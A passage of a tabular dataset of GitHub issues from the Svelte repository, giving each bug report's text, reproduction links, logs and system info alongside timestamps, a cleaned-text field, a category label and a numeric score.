When using `unshift` to add elements to an array used in a keyed `#each` block, the index doesn't correctly update, breaking everything inside that depends on it (element id, input names, etc).

### Reproduction

Working:
https://svelte.dev/playground/2c88b99bca074875bc50c2b9d0462545?version=5.43.11
Not working:
https://svelte.dev/playground/2c88b99bca074875bc50c2b9d0462545?version=5.43.12

### Logs

```shell

```

### System Info

```shell
svelte@5.43.12
```

### Severity

blocking an upgrade",,2025-11-20 04:03:32+00:00,2025-11-25 21:42:16+00:00,1,nan,5.7352,breaks keyed index describe the bug when using to add elements to an array used in a keyed block the index doesn t correctly update breaking everything inside that depends on it element id input names etc reproduction working not working logs system info severity blocking an upgrade,others,-0.8176
sveltejs/svelte,3643324671,Async: breaking bug when hovering a link that has +layout.svelte,"### Describe the bug

Since svelte 5.42.0, there is a weird reactivity bug in a very specific situation.
Using bits-ui (for example a tooltip), and experimental async, when hovering/preloading a link that points to a page with +layout.svelte, the tooltip freezes. And any other tooltip will not work anymore.

### Reproduction

I made a sveltekit project on SvelteLab with everything needed to reproduce the problem: https://www.sveltelab.dev/q30g562x4ns934i

Hope it helps.

### Logs

```shell

```

### System Info

```shell
On macos, sveltelab....
```

### Severity

blocking an upgrade",,2025-11-19 15:41:13+00:00,2026-01-29 00:00:14+00:00,7,nan,70.3465,async breaking bug when hovering a link that has layout svelte describe the bug since svelte there is a weird reactivity bug in a very specific situation using bits ui for example a tooltip and experimental async when hovering preloading a link that points to a page with layout svelte the tooltip freezes and any other tooltip will not work anymore reproduction i made a sveltekit project on sveltelab with everything needed to reproduce the problem hope it helps logs system info severity blocking an upgrade,bug,-0.8625
sveltejs/svelte,3643028298,Wrong migration for self closing tags with slot attribute,"### Describe the bug

This
```svelte
<Component>
	<div slot=""something"" />
</Component>
```
is currently migrated to
```
<Component>
	{#snippet something()}
		<div >
	{/snippet}</div>
</Component>
```
which is completely broken.

### Reproduction

1. Go [here](https://svelte.dev/playground/hello-world?version=5.43.12#H4sIAAAAAAAAE23LQQrCMBBG4auEf6UQ7D7UgrjxDsZFNFMNTCelGVul9O7Shbhx-_HeDAkdweFEzNlMeeBoNhSTUtzCok1MBe48Q9_92q0A-70Ofb8rI7Gudg2F_vkti5JogUN9zF2fhUQbL17rmEZTOOveo-SO9JHk7mGqxktd_VpYKL0UTocnLRcLDYmnJBGuDVxo-QDPletMxwAAAA)
2. Press migrate
3. Observe the broken state

### Logs

```shell

```

### System Info

```shell
repl
```

### Severity

annoyance",,2025-11-19 14:35:29+00:00,2025-11-20 16:13:59+00:00,0,nan,1.0684,wrong migration for self closing tags with slot attribute describe the bug this is currently migrated to which is completely broken reproduction go here press migrate observe the broken state logs system info severity annoyance,others,-0.9347
sveltejs/svelte,3640794582,[5.43.9] Reading async data in `{@attach}` causes `Cannot read properties of undefined (reading 'f')`,"### Describe the bug

Reading remote function data in an attachment causes the error:
```
TypeError: Cannot read properties of undefined (reading 'f')
```

This error started in 5.43.9. It works in 5.43.8, although the boundary content is duplicated (an issue fixed in 5.43.9).

Current workaround is passing the data to the attachment in a callback function.

```svelte
  <button
    {@attach download(() => ({
      filename: ""data.json"",
      blob: new Blob([JSON.stringify(data)])
    }))}
  >
    Export
  </button>
```

### Reproduction

https://stackblitz.com/edit/sveltejs-kit-template-default-3yuabjmd?file=src%2Flib%2Fcomponent.svelte,src%2Froutes%2F%2Bpage.svelte

### Logs

```shell

```

### System Info

```shell
System:
    OS: macOS 26.1
    CPU: (16) arm64 Apple M4 Max
    Memory: 309.19 MB / 48.00 GB
    Shell: 5.9 - /bin/zsh
  Binaries:
    Node: 24.11.0 - /Users/sillvva/.nvm/versions/node/v24.11.0/bin/node
    npm: 11.6.1 - /Users/sillvva/.nvm/versions/node/v24.11.0/bin/npm
    pnpm: 10.21.0 - /Users/sillvva/.nvm/versions/node/v24.11.0/bin/pnpm
    bun: 1.2.20 - /Users/sillvva/.bun/bin/bun
  Browsers:
    Firefox: 144.0
    Safari: 26.1
  npmPackages:
    svelte: 5.43.9 => 5.43.9
```

### Severity

annoyance",,2025-11-19 02:42:01+00:00,2025-11-20 16:23:03+00:00,2,nan,1.5702,reading async data in causes describe the bug reading remote function data in an attachment causes the error this error started in it works in although the boundary content is duplicated an issue fixed in current workaround is passing the data to the attachment in a callback function reproduction logs system info severity annoyance,others,-0.7845
sveltejs/svelte,3638748710,[5.43.10] Two hover preloading issues,"### Describe the bug

In my local dev server testing, I noticed two issues in the latest Svelte version. However, I was only able to reproduce one of them in Stackblitz
- When hovering one link, then clicking another, the page does not load. This one I was able to reproduce.
- When navigating from a page with params to a page without params, the params object becomes empty when clicking the link to go to the page without params causing remote functions in the current page to error. I was not able to reproduce this in Stackblitz.

Disabling the hover preloading fixes the issues for now:
```diff
-  data-sveltekit-preload-data=""hover"" data-sveltekit-preload-code=""eager""
```

### Reproduction

#### The issue I could reproduce
https://stackblitz.com/edit/sveltejs-kit-template-default-vgnsfckn?file=package.json,src%2Froutes%2Ftest.remote.ts,src%2Froutes%2F%2Bpage.svelte,src%2Froutes%2F[test]%2F%2Bpage.svelte

#### The isssue I couldn't reproduce
![Image](https://github.com/user-attachments/assets/f52c5dd9-616a-4885-9f96-3822eb2177bd)

```
Remote function schema validation failed: [
  {
    kind: 'schema',
    type: 'union',
    input: undefined,
    expected: '(string | ""new"")',
    received: 'undefined',
    message: 'Invalid type: Expected (string | ""new"") but received undefined',
    requirement: undefined,
    path: [ [Object] ],
    issues: [ [Object], [Object] ],
    lang: undefined,
    abortEarly: undefined,
    abortPipeEarly: undefined
  }
]
```

### Logs

```shell

```

... [TRUNCATED]",,2025-11-18 15:28:06+00:00,2025-11-19 23:13:09+00:00,2,nan,1.323,two hover preloading issues describe the bug in my local dev server testing i noticed two issues in the latest svelte version however i was only able to reproduce one of them in stackblitz when hovering one link then clicking another the page does not load this one i was able to reproduce when navigating from a page with params to a page without params the params object becomes empty when clicking the link to go to the page without params causing remote functions in the current page to error i was not able to reproduce this in stackblitz disabling the hover preloading fixes the issues for now reproduction the issue i could reproduce the isssue i couldn t reproduce image logs truncated,bug,-0.872
sveltejs/svelte,3637913318,Passing $state wrapped variables to native code bridge causes DataCloneError: The object can not be cloned,"### Describe the bug

This took me a while to figure out this morning (LLMs also have no idea)

When passing Svelte 5 $state variables to native bridged code (via Capacitor in this instance) you can get a ""DataCloneError: The object can not be cloned."" error on iOS


### Reproduction

```js
import { AdMob, BannerAdSize } from '@capacitor-community/admob';
bannerOptions = $state({
        adId: unitId,
        adSize: BannerAdSize.ADAPTIVE_BANNER,
        position: BannerAdPosition.BOTTOM_CENTER
      });
 await AdMob.showBanner(bannerOptions);

// Work around, use spread operator (or $state.snapshot):
await AdMob.showBanner({ ...bannerOptions });
```



### Logs

```shell
[Error] Unhandled Promise Rejection: DataCloneError: The object can not be cloned.
	postMessage
	postToNative (user-script:2:847)
	(anonymous function) (user-script:2:904)
	(anonymous function) (user-script:2:993)
	Promise
	(anonymous function) (user-script:2:992)
	(anonymous function)
```

### System Info

```shell
System:
    OS: macOS 15.7.1
    CPU: (14) arm64 Apple M3 Max
    Memory: 602.67 MB / 36.00 GB
    Shell: 5.9 - /bin/zsh
  Binaries:
    Node: 20.19.0
    Yarn: 1.22.22
    npm: 11.6.1
  Browsers:
    Chrome: 142.0.7444.162
    Firefox: 143.0.1
    Safari: 26.0.1
  npmPackages:
    svelte: ^5.0.0-next.1 => 5.16.2
```

### Severity

annoyance",,2025-11-18 12:19:44+00:00,2025-11-18 16:15:55+00:00,2,nan,0.164,passing state wrapped variables to native code bridge causes datacloneerror the object can not be cloned describe the bug this took me a while to figure out this morning llms also have no idea when passing svelte state variables to native bridged code via capacitor in this instance you can get a datacloneerror the object can not be cloned error on ios reproduction logs system info severity annoyance,bug,-0.6149
sveltejs/svelte,3637573419,Drastic perf decrease in {#each} block performance from v5.43.8+,"### Describe the bug

After upgrading to v.5.43.8 our application started freezing in places where we use a VirtualList component. It seems like something was introduced in https://github.com/sveltejs/svelte/pull/17150 which causes this performance regression.

### Reproduction

Go to this REPL and scroll up and down the page enough times, and the whole website just freezes: https://svelte.dev/playground/b6b5a280e01b4996bb1b3499f721fa46?version=5.43.10

Video:

https://github.com/user-attachments/assets/c45e8353-6c66-4652-98a0-9dbe35a1fe31



### Logs

```shell

```

### System Info

```shell
System:
    OS: macOS 15.6.1
    CPU: (8) arm64 Apple M1 Pro
    Memory: 94.16 MB / 16.00 GB
    Shell: 5.9 - /bin/zsh
  Binaries:
    Node: 22.14.0 - /Users/mathiaspicker/.nvm/versions/node/v22.14.0/bin/node
    npm: 10.9.2 - /Users/mathiaspicker/.nvm/versions/node/v22.14.0/bin/npm
    pnpm: 10.15.1 - /opt/homebrew/bin/pnpm
    bun: 1.0.0 - /Users/mathiaspicker/.bun/bin/bun
  Browsers:
    Brave Browser: 142.1.84.139
    Chrome: 142.0.7444.176
    Edge: 142.0.3595.80
    Firefox: 142.0.1
    Safari: 18.6
```

### Severity

blocking an upgrade",,2025-11-18 11:11:14+00:00,2025-11-18 22:34:03+00:00,0,nan,0.4742,drastic perf decrease in each block performance from v describe the bug after upgrading to v our application started freezing in places where we use a virtuallist component it seems like something was introduced in which causes this performance regression reproduction go to this repl and scroll up and down the page enough times and the whole website just freezes video logs system info severity blocking an upgrade,others,-0.7579
sveltejs/svelte,3635944106,flip/crossfade animation regression in 5.43.8,"### Describe the bug

Observe how new items are sliding from the top. In the 5.43.7 they are just added at the bottom.

https://github.com/user-attachments/assets/2c04e027-d3ca-43e3-b886-3ad2d794c9bc

### Reproduction

Compare 5.43.7 and 5.43.8 in the [REPL](https://svelte.dev/playground/hello-world?version=5.43.8#H4sIAAAAAAAAE21Sy47bMAz8FUItsDY2cJwCvXiTAL21h_2C9R6UiI6FypIhMY-F4X8vJdvZpujBMTMcDoekB2Flh6ISP9EYB1fnjYIMlSZUuViJRhsMonobBH30kRcBxueqH31fhAsaithBBvwffnSW0BLLiG04et3TvrY16a53nmAAZ1_d2RKM0HjXwdNU-PTAaYzu_yGspdWdnInxMUhgdCDYwddAnMne3nNOcGpukWU57PYwpApiX0zWivkB6Reb9BdpHjk1Nc5DFqU188oXfm138C0Gz8_5J43bc-uiP4c2G1i0SlYKg_ZE7QpY-IwVvEpqCy-tch23GfOlepyCcQWbsixn2COdvYXJz9Gg9HePWiVOFNiuP3dqt0pfmCpD2NVp71Jb9LXg5PAF5bGdFiQD8IE7yOJvwWKp_0NxzNQC5h1Xcf_7IdHTKON2zewou46yY_QxARwF-jCYblzcPSybalGfWqrge1n2t5cJcxf0jXHXCngUZ0yCx-lyRTJ6v5hxvoKDkcffc-2Bw5Pn4_LGry2TF9x5hczd9DcIzvCV_67qpVLantgGpzeLkzTFYp4_XMIbiYo8j_vO_6Q2V22VqBppAo5_ADuQsRk7AwAA)

### Logs

```shell

```

### System Info

```shell
irrelevant
```

### Severity

blocking an upgrade",transition/animation,2025-11-18 03:27:15+00:00,2025-11-25 21:52:03+00:00,7,transition/animation,7.7672,flip crossfade animation regression in describe the bug observe how new items are sliding from the top in the they are just added at the bottom reproduction compare and in the repl logs system info severity blocking an upgrade,bug,-0.5859
sveltejs/svelte,3635746485,Update from Svelte 5.43.3 to latest one (5.43.10) causing freezes on load data re-render (#each),"### Describe the bug

When my data gets rendered and it contains animate:flip it's causing this error:
Invalid keyframe value for property transform: matrix(1, 0, 0, 1, 0, 18) translate(NaNpx, NaNpx) scale(NaN, NaN)

Here's the repo:
https://github.com/p0xz/BossFlix-Moviesite/blob/Experimental/src/routes/%2Bpage.svelte

It actually freezes whole website causing me to not be able to click anywhere and eventually chrome will just asks if i want to wait or shut it off, but even after I removed the animate:flip there's still issue with the freezing. I don't know what's going on under the hood really, but this code wasn't causing issues in the Svelte 5.43.3 


PS: Never written an issue on gh, so sorry if my description sounds awful 🗡️ 

### Reproduction

Code used in this issue:
https://github.com/p0xz/BossFlix-Moviesite/blob/Experimental/src/routes/%2Bpage.svelte
https://github.com/p0xz/BossFlix-Moviesite/blob/Experimental/src/routes/%2Blayout.svelte

### Logs

```shell
450x Invalid keyframe value for property transform: matrix(1, 0, 0, 1, 0, 18) translate(NaNpx, NaNpx) scale(NaN, NaN)
```

### System Info

```shell
System:
    OS: Linux 6.14 Ubuntu 24.04.3 LTS 24.04.3 LTS (Noble Numbat)
    CPU: (16) x64 AMD Ryzen 7 5800X 8-Core Processor
    Memory: 20.49 GB / 31.27 GB
    Container: Yes
    Shell: 5.9 - /usr/bin/zsh
  Binaries:
    Node: 25.0.0 - /home/p0xz/.nvm/versions/node/v25.0.0/bin/node
    npm: 11.6.2 - /home/p0xz/.nvm/versions/node/v25.0.0/bin/npm
    bun: 1.3.1 - /ho... [TRUNCATED]",,2025-11-18 02:01:22+00:00,2025-11-19 00:54:01+00:00,4,nan,0.9532,update from svelte to latest one causing freezes on load data re render each describe the bug when my data gets rendered and it contains animate flip it s causing this error invalid keyframe value for property transform matrix translate nanpx nanpx scale nan nan here s the repo it actually freezes whole website causing me to not be able to click anywhere and eventually chrome will just asks if i want to wait or shut it off but even after i removed the animate flip there s still issue with the freezing i don t know what s going on under the hood really but this code wasn t causing issues in the svelte ps never written an issue on gh so sorry if my description sounds awful reproduction code used in this issue logs system info shell system os linux ubuntu lts lts noble numbat cpu x amd ryzen x core processor memory gb gb container yes shell usr bin zsh binaries node home p xz nvm versions node v bin node npm home p xz nvm versions node v bin npm bun ho truncated,others,0.7534
sveltejs/svelte,3635689888,[5.43.9] Async `{#if}` block failing,"### Describe the bug

When I have a remote function that returns an array, the `{:else if data.length}` block is not rendering, even though the function always returns 2 items.

In my local dev environment, I'm getting:
```
Cannot read properties of undefined (reading 'length')
```

It happens with or without a boundary and with or without a pending snippet in the boundary.

In the REPL, you can see the fallback `{:else}` block rendering the data, even though it should never reach that block.

### Reproduction

https://stackblitz.com/edit/sveltejs-kit-template-default-kfjqgvne?file=src%2Froutes%2Ftest.remote.ts,src%2Froutes%2F%2Bpage.svelte

### Logs

```shell

```

### System Info

```shell
System:
    OS: Linux 5.0 undefined
    CPU: (8) x64 Intel(R) Core(TM) i9-9880H CPU @ 2.30GHz
    Memory: 0 Bytes / 0 Bytes
    Shell: 1.0 - /bin/jsh
  Binaries:
    Node: 20.19.1 - /usr/local/bin/node
    Yarn: 1.22.19 - /usr/local/bin/yarn
    npm: 10.8.2 - /usr/local/bin/npm
    pnpm: 8.15.6 - /usr/local/bin/pnpm
  npmPackages:
    svelte: ^5.43.10 => 5.43.10
```

### Severity

blocking an upgrade",,2025-11-18 01:25:21+00:00,2026-02-04 21:11:31+00:00,1,nan,78.8237,async block failing describe the bug when i have a remote function that returns an array the block is not rendering even though the function always returns items in my local dev environment i m getting it happens with or without a boundary and with or without a pending snippet in the boundary in the repl you can see the fallback block rendering the data even though it should never reach that block reproduction logs system info severity blocking an upgrade,others,-0.9616
sveltejs/svelte,3635053756,"i'm getting a ""Invalid keyframe value for property height: NaNpx"" error","### Describe the bug

 on my in:slide={{ duration: 300 }} out:slide={{ duration: 400 }} element, i get a error for invalid keyframes. This only happens in desktop mode. The animation is triggered by an {#if} around some elements. The structure is as follows:

```
{#if $dropdownIsOpen}
    <div in:fade={{ duration: 300 }} out:fade={{ duration: 400 }}>
        <ul in:slide={{ duration: 300 }} out:slide={{ duration: 400 }}>
            {#each}
                <!-- a loop that spits out some <li> items  -->
            {/each}
        </ul>
    </div>
{/if}
```

Additional information:
the dropdownIsOpen is a writable(false) let variable
the eror comes from the slide animation. When replacing it with a fade or a fly, or removing it, there is no error.
The error only happens on desktop. On mobile the error doesn't appear.
I am using chrome

### Reproduction

https://svelte.dev/playground/85dec04ccd4240d1bd7bab11b05b08df?version=5.43.8

### Logs

```shell

```

### System Info

```shell
System:
    OS: Windows 10 10.0.19045
    CPU: (16) x64 AMD Ryzen 7 5800X 8-Core Processor
    Memory: 40.58 GB / 63.91 GB
  Binaries:
    Node: 22.17.1 - C:\Program Files\nodejs\node.EXE
    npm: 11.5.2 - C:\Program Files\nodejs\npm.CMD
  Browsers:
    Chrome: 142.0.7444.163
    Edge: Chromium (140.0.3485.54)
    Firefox: 143.0 - C:\Program Files\Mozilla Firefox\firefox.exe
    Internet Explorer: 11.0.19041.5794
```

### Severity

annoyance",,2025-11-17 20:57:38+00:00,2025-11-17 21:43:23+00:00,1,nan,0.0318,i m getting a invalid keyframe value for property height nanpx error describe the bug on my in slide duration out slide duration element i get a error for invalid keyframes this only happens in desktop mode the animation is triggered by an if around some elements the structure is as follows additional information the dropdownisopen is a writable false let variable the eror comes from the slide animation when replacing it with a fade or a fly or removing it there is no error the error only happens on desktop on mobile the error doesn t appear i am using chrome reproduction logs system info severity annoyance,bug,-0.959
sveltejs/svelte,3632992334,Undefined item in keyed each block since v5.43.8,"### Describe the bug

in `svelte:boundary` context, Keyed each block throws an exception since v5.43.8 when keys change (see logs)
The exception is thrown by this [code](https://github.com/sveltejs/svelte/blob/b9c7e45408bdec5237e8b3b9cccd340db3a1683f/packages/svelte/src/internal/client/dom/blocks/each.js#L399C1-L404C18) 

#17150 

### Reproduction

https://github.com/Jerboas86/each_bug

### Logs

```shell
Uncaught TypeError: can't access property ""o"", item is undefined
    reconcile each.js:403
    commit each.js:169
    #resolve batch.js:361
    process batch.js:177
    flush_effects batch.js:636
    flush batch.js:340
    ensure batch.js:516
    run_all utils.js:45
    run_micro_tasks task.js:10
    queue_micro_task task.js:28
    (Async: VoidFunction)
    queue_micro_task task.js:19
    enqueue batch.js:526
    ensure batch.js:510
    internal_set sources.js:184
    set sources.js:163
    set proxy.js:302
    acq GridState.svelte.ts:35
    acquire GridState.svelte.ts:56
    acquire GridState.svelte.ts:113
    spawnWidget ISidePanel.svelte:60
    handle_event_propagation events.js:261
    (Async: EventListener.handleEvent)
    event_handle render.js:179
    _mount render.js:194
    hydrate render.js:117
    Svelte4Component legacy-client.js:115
    <anonymous> legacy-client.js:54
    initialize client.js:587
    _hydrate client.js:2854
    InterpretGeneratorResume self-hosted:1332
    AsyncFunctionNext self-hosted:800
    (Async: async)
    start client.js:361
    Interpret... [TRUNCATED]",,2025-11-17 11:49:59+00:00,2025-11-19 12:35:54+00:00,8,nan,2.0319,undefined item in keyed each block since v describe the bug in context keyed each block throws an exception since v when keys change see logs the exception is thrown by this code reproduction logs shell uncaught typeerror can t access property o item is undefined reconcile each js commit each js resolve batch js process batch js flush effects batch js flush batch js ensure batch js run all utils js run micro tasks task js queue micro task task js async voidfunction queue micro task task js enqueue batch js ensure batch js internal set sources js set sources js set proxy js acq gridstate svelte ts acquire gridstate svelte ts acquire gridstate svelte ts spawnwidget isidepanel svelte handle event propagation events js async eventlistener handleevent event handle render js mount render js hydrate render js svelte component legacy client js legacy client js initialize client js hydrate client js interpretgeneratorresume self hosted asyncfunctionnext self hosted async async start client js interpret truncated,others,0.0258
sveltejs/svelte,3629969794,`<svelte:boundary>` async reactivity loss,"### Describe the bug

Since 5.43.3 there appears to be some kind of race condition where the rendered value in the boundary can be stale.

Bug seems to have been introduced by #17098 

### Reproduction

[REPL](https://svelte.dev/playground/hello-world?version=5.43.7#H4sIAAAAAAAAE4VRy07DMBD8lZXpIZEiChxDGuAGEhIcuFEObrxBlty1sdd9EOXfkZumAYGEj7MzszPrTpBcoyjFPRpjYWu9UZCh0owqF4VotcEgytdO8N4lXgJEMarunDsPGzScsJUM-BfeWGIkDqIUVWi8dlwvCQDAIENrLSxgFlgyZpf59TRZST9NWmkCpukwn2HbYsNZlsOihm4A0xvsrq4nZLBhH_EI9pONDHtqoI3UsLYEgaUxWf7dzyNHT0C4hWdv1zpg5jFYs8G0OCC_6DXayCNawEU-lujHNUObz9RGodcbVFlKdQNyKzWf1pZA0ZikruanOy2pcvVT5KAVwspGUtLvYSNNxBK61tq-mruBNxy8HEnHI3dngbRzyOCQlKb3LO-nfpWrH61M8GBzUMyPilOB7raxFBg-YtzB4mfsE6ly9QP9F7Oa_04pCsG4Y1GmT-rfCsFSm60mJcrDt_df-IquuaUCAAA)

```svelte
<script>
    let foo = $state(1);
    let bar = $state(false);

    $effect(() => {
        foo = 2;
        bar = true;
    });

    async function stall() {
        return new Promise(resolve => setTimeout(resolve, 0));
    }

    let baz = $derived(bar ? await stall() : null);
</script>

<p>Outside boundary value: {foo}</p>

<svelte:boundary>
    {#snippet pending()}
        <p>Loading</p>
    {/snippet}

    {@const quux = await stall()}

    <p>Inside boundary value: {foo}</p>
</svelte:boundary>
```

### Logs

```shell

```

### System Info

```shell
Svelte playground
```

### Severity

blocking an upgrade",,2025-11-16 05:34:09+00:00,2025-11-21 03:09:48+00:00,2,nan,4.8998,async reactivity loss describe the bug since there appears to be some kind of race condition where the rendered value in the boundary can be stale bug seems to have been introduced by reproduction repl logs system info severity blocking an upgrade,others,-0.8176
sveltejs/svelte,3625826085,set_context_after_init when async layout child component sets context,"### Describe the bug

This issue only happens in production, not in development.

I am using `svelte-sonner` to create toasts. The `<Toaster>` component provided by sets context internally. If the script block of the page or layout that renders the component awaits anything, it causes a `set_context_after_init` error.

Does this mean that any async work in the script block will break components that use context? That seems like a serious issue.

### Reproduction

Run this:
```
pnpm install && pnpm build && pnpm preview
```
https://stackblitz.com/edit/sveltekit-template-sjtkof-kjhfxzem?file=src%2Froutes%2F%2Bpage.svelte

### Logs

```shell
Uncaught (in promise) Error: https://svelte.dev/e/set_context_after_init
    at sn (C0Zr-Aao.js:1:1560)
    at gr (C0Zr-Aao.js:1:3124)
    at Va.set (2.Bo1tjYvL.js:2:7053)
    at Li (2.Bo1tjYvL.js:2:26693)
    at 2.Bo1tjYvL.js:2:30377
    at async Ar (C0Zr-Aao.js:1:11342)
```

### System Info

```shell
System:
    OS: macOS 26.1
    CPU: (16) arm64 Apple M4 Max
    Memory: 1.32 GB / 48.00 GB
    Shell: 5.9 - /bin/zsh
  Binaries:
    Node: 24.11.0 - /Users/sillvva/.nvm/versions/node/v24.11.0/bin/node
    npm: 11.6.1 - /Users/sillvva/.nvm/versions/node/v24.11.0/bin/npm
    pnpm: 10.21.0 - /Users/sillvva/.nvm/versions/node/v24.11.0/bin/pnpm
    bun: 1.2.20 - /Users/sillvva/.bun/bin/bun
  Browsers:
    Firefox: 144.0
    Safari: 26.1
  npmPackages:
    svelte: 5.41.4 => 5.41.4
```

### Severity

annoyance",awaiting submitter,2025-11-14 14:19:52+00:00,2025-11-14 15:54:36+00:00,3,awaiting submitter,0.0658,set context after init when async layout child component sets context describe the bug this issue only happens in production not in development i am using to create toasts the component provided by sets context internally if the script block of the page or layout that renders the component awaits anything it causes a error does this mean that any async work in the script block will break components that use context that seems like a serious issue reproduction run this logs system info severity annoyance,others,-0.8591
sveltejs/svelte,3624001029,Allow for comments inside element tags,"### Describe the problem

When I have many attributes on an element, I often comment them in-and-out while developing to see how event calbacks, styles, etc, behave in isolation. This works as expected in other frameworks.

However, Svelte doesn't seem to allow comments within element tags. The following snippet errors with `'<!--' is not a valid attribute name`:
```html
<div
  <!-- id="""" -->
  class=""""
>
  ...
</div>
```
This wouldn't be valid HTML syntax, but this restriction just makes my life a harder.

### Describe the proposed solution

Make these types of comments valid Svelte syntax and strip them out from the compiled output.

### Importance

would make my life easier",,2025-11-14 05:51:06+00:00,2025-11-14 09:52:33+00:00,1,nan,0.1677,allow for comments inside element tags describe the problem when i have many attributes on an element i often comment them in and out while developing to see how event calbacks styles etc behave in isolation this works as expected in other frameworks however svelte doesn t seem to allow comments within element tags the following snippet errors with this wouldn t be valid html syntax but this restriction just makes my life a harder describe the proposed solution make these types of comments valid svelte syntax and strip them out from the compiled output importance would make my life easier,others,0.6528
sveltejs/svelte,3618896887,"testing $state, $derived, and $effect.root does not behave as expected","### Describe the bug

Hello, in my attempt to recreate the tests in https://svelte.dev/docs/svelte/testing, I've run into test cases that do not behave as expected. Here is the test file with two tests ""runes"" and ""effect.root"":

```
import { flushSync } from ""svelte"";
import { describe, expect, it } from ""vitest"";

describe(""svelte"", () => {
  it(""runes"", () => {
    let state = $state(""hello"");
    let der = $derived(state.length);

    state = ""bye"";
    flushSync();

    expect(der).toBe(3);
  });

  it(""effect.root"", () => {
    const cleanup = $effect.root(() => {
      expect(true).toBe(false);
    });
    cleanup();
  });
});
```

1. ""runes""
Expected behavior: passes with der = 3.
Actual behavior: fails with der = 5 instead of 3.

2. ""effect.root"" 
Expected behavior: fails due to true !== false
Actual behavior: fails with ""expected any number of assertion, but got none""

I believe the tests are configured correctly because non-svelte tests using $state would fail on $state not found.
Please lmk if this is actually configuration error or if expectations are incorrect.
Tests ran with svelte version 5.40.0, 5.41.0, and 5.43.0 - same behaviors.

### Reproduction

Repo with the reproduction:
https://github.com/win-chen/svelte-test-bug

Run tests:
```
npm install
npm run test
```

View ""src/test.svelte.spec.ts"" for the tests in question. There is a third test in this file which is just the copy of the ""Effect"" test in the docs https://svelte.dev/docs/svelte/testing

### Log... [TRUNCATED]",,2025-11-13 01:15:23+00:00,2025-11-13 17:11:34+00:00,1,nan,0.664,testing state derived and effect root does not behave as expected describe the bug hello in my attempt to recreate the tests in i ve run into test cases that do not behave as expected here is the test file with two tests runes and effect root runes passes with der fails with der instead of effect root fails due to true false fails with expected any number of assertion but got none i believe the tests are configured correctly because non svelte tests using state would fail on state not found please lmk if this is actually configuration error or if expectations are incorrect tests ran with svelte version and same behaviors reproduction repo with the reproduction run tests view src test svelte spec ts for the tests in question there is a third test in this file which is just the copy of the effect test in the docs log truncated,others,-0.9336
sveltejs/svelte,3618103902,`<select>` displays wrong choice when options are dynamically updated,"### Describe the bug

If a `<select>` is bound to a state not equal to the initial value and its options are updated, the element will snap to display the initial value that does not match the state variable. This issue was introduced in 5.41.0, it does not occur in 5.40.2.

### Reproduction

[svelte.dev](https://svelte.dev/playground/hello-world?version=5.43.6#H4sIAAAAAAAAE22PwW7CMBBEf2Xl9pBIgYhrcCxxq3qAQ4-Eg4kXsOquo3gDRZH_vUpCWrXq0W9mxzO9IP2BohAv6JyHm2-dgQSNZTSpyMTJOgyi2PeC783gG4DI5qtN0yzDFR0P7KgD_sdrT4zEQRRChrq1DauKKnbI4Bu2ngKU8BxYMyb7Q7qexYDuR1isRoEqrj0FBm0MlJCkUCroB1zxI2zZdOGSzA-HdObLFBrXFcn8pwLJY8fsCTzVztbvZa-NiWpjDOzGc5lPBlWRDOiwZjhaMsVVuw7LPqCL4xQ5_QYPvlhFtfWEMp_46OmfUNeX78U6gM_AQmLTONX_E2Kj6n38HZEPEXEcMbaZRjQtqv71bbddBm4tne3pPs9Po8wHeXCpgK6AsbTMG1WRyATjJ4uC2w7jIROsrbtZMqI4aRcwfgEirkoQHQIAAA)

1. Add option
2. Select option that is not the initial value
3. Add another option
4. `<select>` now displays the wrong option

---
With an `$effect` snapping to a different (still wrong) value
[svelte.dev](https://svelte.dev/playground/hello-world?version=5.43.6#H4sIAAAAAAAAA21Sz0_CMBT-V16qMVuCINe5LeFmPMjBIxBTtjdorO2yPkCy9H_3rQXMjJct-977frXrhZFfKDLxglpbONlO15BgrQjrVExEozQ6ka16Qed22BsAxi-sRdtO3RE1DdhWOvwPr6whNMQyIndVp1oq12ZNGglsS8oaBwXcO5KEyWqTPl-HbYfHD41mR3teeLrhDvUv4XEeCDxiG0cg65qHSQpFCf0Ar-liMm0Pbp9cP6JuNPPheY9NgxUlI65qIBnlKDgJPDzAWCfg8_TKWlPMGDOzQXyNC40VYpAhTz77PSSTbw9E1oA1lVbVZ9FzP18uuOQy0PNZXODlnD05P2yVqbOj1AcseoZ8OOw8usEFf5z78s0azGcRDzv9Hcpqf7sT6cBOQEGi0kv-PyLKl731Y4nZIOF... [TRUNCATED]",,2025-11-12 20:24:44+00:00,2026-03-13 02:07:58+00:00,2,nan,120.2384,displays wrong choice when options are dynamically updated describe the bug if a is bound to a state not equal to the initial value and its options are updated the element will snap to display the initial value that does not match the state variable this issue was introduced in it does not occur in reproduction svelte dev add option select option that is not the initial value add another option now displays the wrong option with an snapping to a different still wrong value svelte dev truncated,others,-0.296
sveltejs/svelte,3615589183,"can't import ""state"" in runes mode","### Describe the bug

```
import { state } from ""./test.js""
let name = $state('world');
```
obviously it gets confused what $state means here.


### Reproduction

https://svelte.dev/playground/c8a6cc5160ce4d16a65ecd809d3ec83a?version=latest

### Logs

```shell
store_invalid_shape `state` is not a store with a `subscribe` method https://svelte.dev/e/store_invalid_shape in <unknown> in __wrapper.svelte
```

### System Info

```shell
this is on playground
```

### Severity

annoyance",,2025-11-12 08:55:40+00:00,2025-11-12 10:11:57+00:00,6,nan,0.053,can t import state in runes mode describe the bug obviously it gets confused what state means here reproduction logs system info severity annoyance,others,-0.765
sveltejs/svelte,3613497958,Attachments don't run when using with a components which use <svelte:element>,"### Describe the bug

I have a component which has a top-level `<svelte:element>`. When using this component together with an attachment the attachment somehow doesn't run.
When I define the attachment directly on the `<svelte:element {@attach xy()}>` it works as expected.

### Reproduction

Reproduction example: https://svelte.dev/playground/1e4e2f8e9ff84052b1c3ddcf6bca3c8e?version=5.43.6

### Logs

```shell

```

### System Info

```shell
System:
    OS: macOS 26.1
    CPU: (14) arm64 Apple M4 Pro
    Memory: 1.10 GB / 48.00 GB
    Shell: 5.9 - /bin/zsh
  Binaries:
    Node: 24.11.0
    npm: 11.6.1
    bun: 1.2.19
  Browsers:
    Chrome: 142.0.7444.135
    Safari: 26.1
  npmPackages:
    svelte: ^5.43.4 => 5.43.4
```

### Severity

annoyance",,2025-11-11 18:52:23+00:00,2025-11-11 22:31:35+00:00,2,nan,0.1522,attachments don t run when using with a components which use describe the bug i have a component which has a top level when using this component together with an attachment the attachment somehow doesn t run when i define the attachment directly on the it works as expected reproduction reproduction example logs system info severity annoyance,others,0.4939
sveltejs/svelte,3607611349,Bug: Re-rendering only happens once,"### Describe the bug

